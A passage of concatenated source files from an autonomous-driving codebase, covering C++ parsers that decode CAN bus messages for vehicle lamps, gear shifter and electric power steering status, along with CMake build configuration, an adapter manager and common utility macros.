Bcm_bodysts_0x344_344::Bcm_hornstatusType Bcmbodysts0x344344::bcm_hornstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 2); Bcm_bodysts_0x344_344::Bcm_hornstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_hornstatusType>(x); return ret; } // config detail: {'name': 'bcm_highbeamlampstatus', 'enum': {0: 'BCM_HIGHBEAMLAMPSTATUS_INVALID', 1: 'BCM_HIGHBEAMLAMPSTATUS_OFF', 2: 'BCM_HIGHBEAMLAMPSTATUS_ON', 3: 'BCM_HIGHBEAMLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_highbeamlampstatusType Bcmbodysts0x344344::bcm_highbeamlampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 2); Bcm_bodysts_0x344_344::Bcm_highbeamlampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_highbeamlampstatusType>(x); return ret; } // config detail: {'name': 'bcm_lowbeamlampstatus', 'enum': {0: 'BCM_LOWBEAMLAMPSTATUS_INVALID', 1: 'BCM_LOWBEAMLAMPSTATUS_OFF', 2: 'BCM_LOWBEAMLAMPSTATUS_ON', 3: 'BCM_LOWBEAMLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_lowbeamlampstatusType Bcmbodysts0x344344::bcm_lowbeamlampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 2); Bcm_bodysts_0x344_344::Bcm_lowbeamlampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_lowbeamlampstatusType>(x); return ret; } // config detail: {'name': 'bcm_positionlampstatus', 'enum': {0: 'BCM_POSITIONLAMPSTATUS_INVALID', 1: 'BCM_POSITIONLAMPSTATUS_OFF', 2: 'BCM_POSITIONLAMPSTATUS_ON', 3: 'BCM_POSITIONLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_positionlampstatusType Bcmbodysts0x344344::bcm_positionlampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(6, 2); Bcm_bodysts_0x344_344::Bcm_positionlampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_positionlampstatusType>(x); return ret; } // config detail: {'name': 'bcm_hazardlampstatus', 'enum': {0: 'BCM_HAZARDLAMPSTATUS_INVALID', 1: 'BCM_HAZARDLAMPSTATUS_OFF', 2: 'BCM_HAZARDLAMPSTATUS_BLINK', 3: 'BCM_HAZARDLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_hazardlampstatusType Bcmbodysts0x344344::bcm_hazardlampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 2); Bcm_bodysts_0x344_344::Bcm_hazardlampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_hazardlampstatusType>(x); return ret; } // config detail: {'name': 'bcm_rightturnlampstatus', 'enum': {0: 'BCM_RIGHTTURNLAMPSTATUS_INVALID', 1: 'BCM_RIGHTTURNLAMPSTATUS_OFF', 2: 'BCM_RIGHTTURNLAMPSTATUS_BLINK', 3: 'BCM_RIGHTTURNLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_rightturnlampstatusType Bcmbodysts0x344344::bcm_rightturnlampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(4, 2); Bcm_bodysts_0x344_344::Bcm_rightturnlampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_rightturnlampstatusType>(x); return ret; } // config detail: {'name': 'bcm_leftturnlampstatus', 'enum': {0: 'BCM_LEFTTURNLAMPSTATUS_INVALID', 1: 'BCM_LEFTTURNLAMPSTATUS_OFF', 2: 'BCM_LEFTTURNLAMPSTATUS_BLINK', 3: 'BCM_LEFTTURNLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_leftturnlampstatusType Bcmbodysts0x344344::bcm_leftturnlampstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Bcm_bodysts_0x344_344::Bcm_leftturnlampstatusType ret = static_cast<Bcm_bodysts_0x344_344::Bcm_leftturnlampstatusType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_int64_t_h #define base_type_std_int64_t_h typedef std::int64_t std_int64_t; #endif // base_type_std_int64_t_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(task task.cc task.h) target_link_libraries(task /modules/common/status frame reference_line_info discretized_trajectory publishable_trajectory planning_config_proto) add_library(task_factory task_factory.cc task_factory.h) target_link_libraries(task_factory task planning_config_proto /modules/planning/tasks/deciders/creep_decider /modules/planning/tasks/deciders/lane_change_decider /modules/planning/tasks/deciders/open_space_decider:open_space_fallback_decider /modules/planning/tasks/deciders/open_space_decider:open_space_pre_stop_decider /modules/planning/tasks/deciders/open_space_decider:open_space_roi_decider /modules/planning/tasks/deciders/path_assessment_decider /modules/planning/tasks/deciders/path_bounds_decider /modules/planning/tasks/deciders/path_decider /modules/planning/tasks/deciders/path_lane_borrow_decider /modules/planning/tasks/deciders/path_reuse_decider /modules/planning/tasks/deciders/rss_decider /modules/planning/tasks/deciders/rule_based_stop_decider /modules/planning/tasks/deciders/speed_bounds_decider /modules/planning/tasks/deciders/speed_decider /modules/planning/tasks/deciders/st_bounds_decider /modules/planning/tasks/optimizers/open_space_trajectory_generation:open_space_trajectory_provider /modules/planning/tasks/optimizers/open_space_trajectory_partition /modules/planning/tasks/optimizers/path_time_heuristic:path_time_heuristic_optimizer /modules/planning/tasks/optimizers/piecewise_jerk_path:piecewise_jerk_path_optimizer /modules/planning/tasks/optimizers/piecewise_jerk_speed:piecewise_jerk_speed_nonlinear_optimizer /modules/planning/tasks/optimizers/piecewise_jerk_speed:piecewise_jerk_speed_optimizer) <file_sep>############################################################################# # 注意:CMAKE_XXX 参数留空 ############################################################################# #此处可以为c和c++配置不同的编译选项 set(CMAKE_C_FLAGS "") set(CMAKE_CXX_FLAGS "-std=c++14") set(CMAKE_CXX_LINK_FLAGS "") #把Debug和Release状态下默认的编译选项设置为空,避免和用户的设置重复 set(CMAKE_C_FLAGS_DEBUG "") set(CMAKE_C_FLAGS_RELEASE "") set(CMAKE_CXX_FLAGS_DEBUG "") set(CMAKE_CXX_FLAGS_RELEASE "") ############################################################################# # 注意:DEFAULT_XXXX 为默认内容 ############################################################################# include(${CMAKE_CURRENT_SOURCE_DIR}/.cmakes/ubuntu_sdk.cmake) #根据不同的工程类型,添加默认的编译,链接选项 IF (CMAKE_BUILD_TYPE MATCHES Debug) set(DEFAULT_DEFINITIONS -DHAS_VSOMEIP_BINDING) set(DEFAULT_COMPILE -std=c++14 -O0 -g3 -Wall -c -fmessage-length=0 -fPIC -fPIE -pie -fstack-protector-all -Wtrampolines) set(DEFAULT_LIB ${SDK_LIB}) ELSEIF (CMAKE_BUILD_TYPE MATCHES Release) set(DEFAULT_DEFINITIONS -DHAS_VSOMEIP_BINDING) set(DEFAULT_COMPILE -std=c++14 -O1 -Wall -c -fmessage-length=0 -fPIC -fPIE -pie -fstack-protector-all -Wtrampolines) set(DEFAULT_LIB ${SDK_LIB}) ELSEIF (CMAKE_BUILD_TYPE MATCHES UnitTest) #当为UnitTest工程时,把teestcode下的源码也加入到要编译的变量中 list(APPEND C_SOURCE ${TEST_C_SOURCE}) list(APPEND CXX_SOURCE ${TEST_CXX_SOURCE}) #当为UnitTest工程类型时,把testcode文件夹下的所有目录include INCLUDE_DIRECTORIES(${TESTCODEDIRS}) set(DEFAULT_DEFINITIONS -DHAS_VSOMEIP_BINDING -DMDC_TEST) set(DEFAULT_COMPILE -std=c++14 -O0 -g -Wall -c -fmessage-length=0 -fPIC -fPIE -pie -fstack-protector-all -Wtrampolines) set(DEFAULT_LIB gtest gtest_main ${SDK_LIB}) ENDIF() set(DEFAULT_LINK_FLAG "-Wl,--as-needed -fPIE -pie -Wl,-z,relro -Wl,-z,noexecstack -Wl,-z,now") set(DEFAULT_INCLUDE ${SDK_INCLUDE}) set(DEFAULT_LINK_DIR ${SDK_LINK_DIR}) ########################################################################## # 注意:REFRESH_XXXX 为读取刷新内容 ########################################################################## set(REFRESH_LINK_FLAG "") list(APPEND COMMON_LINK_FLAG ${DEFAULT_LINK_FLAG} ${REFRESH_LINK_FLAG}) set(REFRESH_INCLUDE "") list(APPEND COMMON_INCLUDE ${DEFAULT_INCLUDE} ${REFRESH_INCLUDE}) set(REFRESH_INCLUDE "") list(APPEND COMMON_LINK_DIR ${DEFAULT_LINK_DIR} ${REFRESH_INCLUDE}) set(REFRESH_DEFINITIONS "") list(APPEND COMMON_DEFINITIONS ${DEFAULT_DEFINITIONS} ${REFRESH_DEFINITIONS}) set(REFRESH_COMPILE "") list(APPEND COMMON_COMPILE ${DEFAULT_COMPILE} ${REFRESH_COMPILE}) set(REFRESH_LIB "") list(APPEND COMMON_LIB ${DEFAULT_LIB} ${REFRESH_LIB}) ############################################################################# <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(gnss_proto gnss.pb.cc gnss.pb.h) target_link_libraries(gnss_proto ins_proto gnss_raw_observation_proto gnss_best_pose_proto gnss_config_proto gnss_imu_proto gnss_status_proto protobuf) add_library(ins_proto ins.pb.cc ins.pb.h) target_link_libraries(ins_proto common_proto error_code_proto header_proto protobuf) add_library(gnss_raw_observation_proto gnss_raw_observation.pb.cc gnss_raw_observation.pb.h) target_link_libraries(gnss_raw_observation_proto common_proto error_code_proto header_proto protobuf) add_library(gnss_best_pose_proto gnss_best_pose.pb.cc gnss_best_pose.pb.h) target_link_libraries(gnss_best_pose_proto common_proto error_code_proto header_proto protobuf) add_library(gnss_config_proto config.pb.cc config.pb.h) target_link_libraries(gnss_config_proto protobuf) add_library(gnss_imu_proto imu.pb.cc imu.pb.h) target_link_libraries(gnss_imu_proto common_proto error_code_proto header_proto protobuf) add_library(gnss_status_proto gnss_status.pb.cc gnss_status.pb.h) target_link_libraries(gnss_status_proto common_proto error_code_proto header_proto protobuf) add_library(heading_proto heading.pb.cc heading.pb.h) target_link_libraries(heading_proto common_proto error_code_proto header_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(can_client) add_subdirectory(can_comm) add_subdirectory(common) add_subdirectory(proto) add_library(sensor_gflags sensor_gflags.cc sensor_gflags.h) target_link_libraries(sensor_gflags gflags)<file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/common/adapters/adapter_manager.h" #include "modules/common/adapters/adapter_gflags.h" #include "modules/common/util/util.h" namespace jmc_auto { namespace common { namespace adapter { AdapterManager::AdapterManager() {} void AdapterManager::Observe() { for (const auto observe : instance()->observers_) { observe(); } } bool AdapterManager::Initialized() { return instance()->initialized_; } void AdapterManager::Reset() { instance()->initialized_ = false; instance()->observers_.clear(); } void AdapterManager::Init(const std::string &adapter_config_filename) { // Parse config file AdapterManagerConfig configs; CHECK(util::GetProtoFromFile(adapter_config_filename, &configs)) << "Unable to parse adapter config file " << adapter_config_filename; // AINFO << "Init AdapterManger config:" << configs.DebugString(); Init(configs); } void AdapterManager::Init(const AdapterManagerConfig &configs) { if (Initialized()) { return; } instance()->initialized_ = true; for (const auto &config : configs.config()) { switch (config.type()) { case AdapterConfig::CHASSIS: AINFO << "start to enable CHASSIS"; EnableChassis(FLAGS_chassis_instance_id, config); break; // case AdapterConfig::CHASSIS_DETAIL: // EnableChassisDetail(FLAGS_chassis_detail_instance_id, config); // break; case AdapterConfig::CONTROL_COMMAND: AINFO << "start to enable CONTROL_COMMAND"; EnableControlCommand(FLAGS_control_command_instance_id, config); break; case AdapterConfig::LOCALIZATION: AINFO << "start to enable LOCALIZATION"; EnableLocalization(FLAGS_localization_instance_id, config); break; default: AERROR << "Unknown adapter config type!"; break; } } } } // namespace adapter } // namespace common } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_SCU_SHIFTERSTS_0XC8_C8_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_GW_SCU_SHIFTERSTS_0XC8_C8_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Gwscushiftersts0xc8c8 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwscushiftersts0xc8c8(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Checksum_0xC8', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0xc8(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_Counter_0xC8', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0xc8(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'SCU_ShifterLockStatus', 'enum': {0: 'SCU_SHIFTERLOCKSTATUS_UNLOCKED', 1: 'SCU_SHIFTERLOCKSTATUS_LOCKED', 3: 'SCU_SHIFTERLOCKSTATUS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::Scu_shifterlockstatusType scu_shifterlockstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ShifterLockStatus', 'enum': {0: 'SHIFTERLOCKSTATUS_UNLOCKED', 1: 'SHIFTERLOCKSTATUS_LOCKED', 3: 'SHIFTERLOCKSTATUS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterlockstatusType shifterlockstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ShifterPositionFailure', 'enum': {0: 'SHIFTERPOSITIONFAILURE_NOFAULT', 1: 'SHIFTERPOSITIONFAILURE_MODESELECTORSENSORFAIL', 2: 'SHIFTERPOSITIONFAILURE_ROTARYPOSITIONSENSORFAIL', 3: 'SHIFTERPOSITIONFAILURE_CANBUSCOMMUNICATION', 4: 'SHIFTERPOSITIONFAILURE_SOLENOIDFAIL'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterpositionfailureType shifterpositionfailure(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ShifterPosition', 'enum': {0: 'SHIFTERPOSITION_ERROR', 3: 'SHIFTERPOSITION_MANUAL_MODE', 5: 'SHIFTERPOSITION_DRIVE', 6: 'SHIFTERPOSITION_NEUTRAL', 7: 'SHIFTERPOSITION_REVERSE', 8: 'SHIFTERPOSITION_PARK', 9: 'SHIFTERPOSITION_UPSHIFT', 10: 'SHIFTERPOSITION_DOWNSHIFT'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterpositionType shifterposition(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ShifterPositionInv', 'enum': {5: 'SHIFTERPOSITIONINV_DOWNSHIFT', 6: 'SHIFTERPOSITIONINV_UPSHIFT', 7: 'SHIFTERPOSITIONINV_PARK', 8: 'SHIFTERPOSITIONINV_REVERSE', 9: 'SHIFTERPOSITIONINV_NEUTRAL', 10: 'SHIFTERPOSITIONINV_DRIVE', 12: 'SHIFTERPOSITIONINV_MANUAL_MODE', 15: 'SHIFTERPOSITIONINV_ERROR'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::ShifterpositioninvType shifterpositioninv(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Sys_STS_SCU', 'enum': {0: 'SYS_STS_SCU_INIT', 1: 'SYS_STS_SCU_OK', 2: 'SYS_STS_SCU_WARNING', 3: 'SYS_STS_SCU_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_scu_shiftersts_0xc8_c8::Sys_sts_scuType sys_sts_scu(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_SCU_SHIFTERSTS_0XC8_C8_H_ <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ /** * @file */ #ifndef MODULES_COMMON_MACROS_H_ #define MODULES_COMMON_MACROS_H_ #include <iostream> #include <memory> #include <mutex> #include <type_traits> #include <utility> #include <cstdlib> #include <new> #define CACHELINE_SIZE 64 #define DEFINE_TYPE_TRAIT(name, func) \ template <typename T> \ struct name { \ template <typename Class> \ static constexpr bool Test(decltype(&Class::func)*) { \ return true; \ } \ template <typename> \ static constexpr bool Test(...) { \ return false; \ } \ \ static constexpr bool value = Test<T>(nullptr); \ }; \ \ template <typename T> \ constexpr bool name<T>::value; inline void* CheckedMalloc(size_t size) { void* ptr = std::malloc(size); if (!ptr) { throw std::bad_alloc(); } return ptr; } inline void* CheckedCalloc(size_t num, size_t size) { void* ptr = std::calloc(num, size); if (!ptr) { throw std::bad_alloc(); } return ptr; } DEFINE_TYPE_TRAIT(HasShutdown, Shutdown) template <typename T> typename std::enable_if<HasShutdown<T>::value>::type CallShutdown(T *instance) { instance->Shutdown(); } template <typename T> typename std::enable_if<!HasShutdown<T>::value>::type CallShutdown( T *instance) { (void)instance; } #undef UNUSED #undef DISALLOW_COPY_AND_ASSIGN_PTR #define UNUSED(param) (void)param #define DISALLOW_COPY_AND_ASSIGN_PTR(classname) \ private: \ classname(const classname &); \ classname &operator=(const classname &); #define DECLARE_SINGLETON_PTR(classname) \ public: \ static classname *Instance(bool create_if_needed = true) { \ static classname *instance = nullptr; \ if (!instance && create_if_needed) { \ static std::once_flag flag; \ std::call_once(flag, \ [&] { instance = new (std::nothrow) classname(); }); \ } \ return instance; \ } \ static void CleanUp() { \ auto instance = Instance(false); \ if (instance != nullptr) { \ CallShutdown(instance); \ } \ } \ \ private: \ classname(); \ DISALLOW_COPY_AND_ASSIGN_PTR(classname) #endif // MODULES_COMMON_MACROS_H_ <file_sep>/****************************************************************************** * Copyright 2017 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/eps_advanced_0x176_176.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Epsadvanced0x176176::Epsadvanced0x176176() {} const int32_t Epsadvanced0x176176::ID = 0x176; void Epsadvanced0x176176::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_lkaresponsetorque(eps_lkaresponsetorque(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_tosionbartorquevalid(eps_tosionbartorquevalid(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_lkaresponsetorquevalid(eps_lkaresponsetorquevalid(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_ldwcontrolstatus(eps_ldwcontrolstatus(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_pam_steeringsts_reserved(eps_pam_steeringsts_reserved(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_lkacontrolstatus(eps_lkacontrolstatus(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_epspaminh(eps_epspaminh(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_rolling_counter_0x176(rolling_counter_0x176(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_epspamsts(eps_epspamsts(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_checksum_0x176(checksum_0x176(bytes, length)); chassis->mutable_cx75()->mutable_eps_advanced_0x176_176()->set_eps_torsionbartorque(eps_torsionbartorque(bytes, length)); chassis->mutable_check_response()->set_is_eps_online( eps_lkacontrolstatus(bytes, length) == 1); chassis->mutable_check_response()->set_is_epspam_online( eps_epspamsts(bytes, length) == 2||eps_epspamsts(bytes, length) == 4); } // config detail: {'name': 'eps_lkaresponsetorque', 'enum': {2047: 'EPS_LKARESPONSETORQUE_INVALID'}, 'precision': 0.01, 'len': 11, 'is_signed_var': False, 'offset': -10.24, 'physical_range': '[-10.24|10.22]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double Epsadvanced0x176176::eps_lkaresponsetorque(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 2); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; double ret = static_cast<double>(x); ret=ret*0.01-10.24; return ret; } // config detail: {'name': 'eps_tosionbartorquevalid', 'enum': {0: 'EPS_TOSIONBARTORQUEVALID_VAILD', 1: 'EPS_TOSIONBARTORQUEVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_tosionbartorquevalidType Epsadvanced0x176176::eps_tosionbartorquevalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 1); Eps_advanced_0x176_176::Eps_tosionbartorquevalidType ret = static_cast<Eps_advanced_0x176_176::Eps_tosionbartorquevalidType>(x); return ret; } // config detail: {'name': 'eps_lkaresponsetorquevalid', 'enum': {0: 'EPS_LKARESPONSETORQUEVALID_VAILD', 1: 'EPS_LKARESPONSETORQUEVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_lkaresponsetorquevalidType Epsadvanced0x176176::eps_lkaresponsetorquevalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 1); Eps_advanced_0x176_176::Eps_lkaresponsetorquevalidType ret = static_cast<Eps_advanced_0x176_176::Eps_lkaresponsetorquevalidType>(x); return ret; } // config detail: {'name': 'eps_ldwcontrolstatus', 'enum': {0: 'EPS_LDWCONTROLSTATUS_DEACTIVATED', 1: 'EPS_LDWCONTROLSTATUS_INACTIVE', 2: 'EPS_LDWCONTROLSTATUS_ACTIVE', 3: 'EPS_LDWCONTROLSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_ldwcontrolstatusType Epsadvanced0x176176::eps_ldwcontrolstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(3, 2); Eps_advanced_0x176_176::Eps_ldwcontrolstatusType ret = static_cast<Eps_advanced_0x176_176::Eps_ldwcontrolstatusType>(x); return ret; } // config detail: {'name': 'eps_pam_steeringsts_reserved', 'enum': {0: 'EPS_PAM_STEERINGSTS_RESERVED_STEERING_POSITION_IS_OK', 1: 'EPS_PAM_STEERINGSTS_RESERVED_STEERING_POSITION_IS_ADJUSTING'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_pam_steeringsts_reservedType Epsadvanced0x176176::eps_pam_steeringsts_reserved(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 1); Eps_advanced_0x176_176::Eps_pam_steeringsts_reservedType ret = static_cast<Eps_advanced_0x176_176::Eps_pam_steeringsts_reservedType>(x); return ret; } // config detail: {'name': 'eps_lkacontrolstatus', 'enum': {0: 'EPS_LKACONTROLSTATUS_NO_REQUEST', 1: 'EPS_LKACONTROLSTATUS_REQUEST_HONORED', 2: 'EPS_LKACONTROLSTATUS_CONTROL_REQUEST_NOT_ALLOWED_TEMPORARILY', 3: 'EPS_LKACONTROLSTATUS_CONTROL_REQUEST_NOT_ALLOWED_PERMANENT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Eps_advanced_0x176_176::Eps_lkacontrolstatusType Epsadvanced0x176176::eps_lkacontrolstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(6, 2); Eps_advanced_0x176_176::Eps_lkacontrolstatusType ret = static_cast<Eps_advanced_0x176_176::Eps_lkacontrolstatusType>(x); return ret; } // config detail: {'name': 'eps_epspaminh', 'enum': {0: 'EPS_EPSPAMINH_NORMAL_OPERATION', 1: 'EPS_EPSPAMINH_OVER_SPEED', 2: 'EPS_EPSPAMINH_DRIVER_INTERFERENCE', 4: 'EPS_EPSPAMINH_ABNORMAL_CAN_INPUT', 16: 'EPS_EPSPAMINH_EPS_FAILURE', 8: 'EPS_EPSPAMINH_EXCESS_ANGLE_DEVIATION'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': 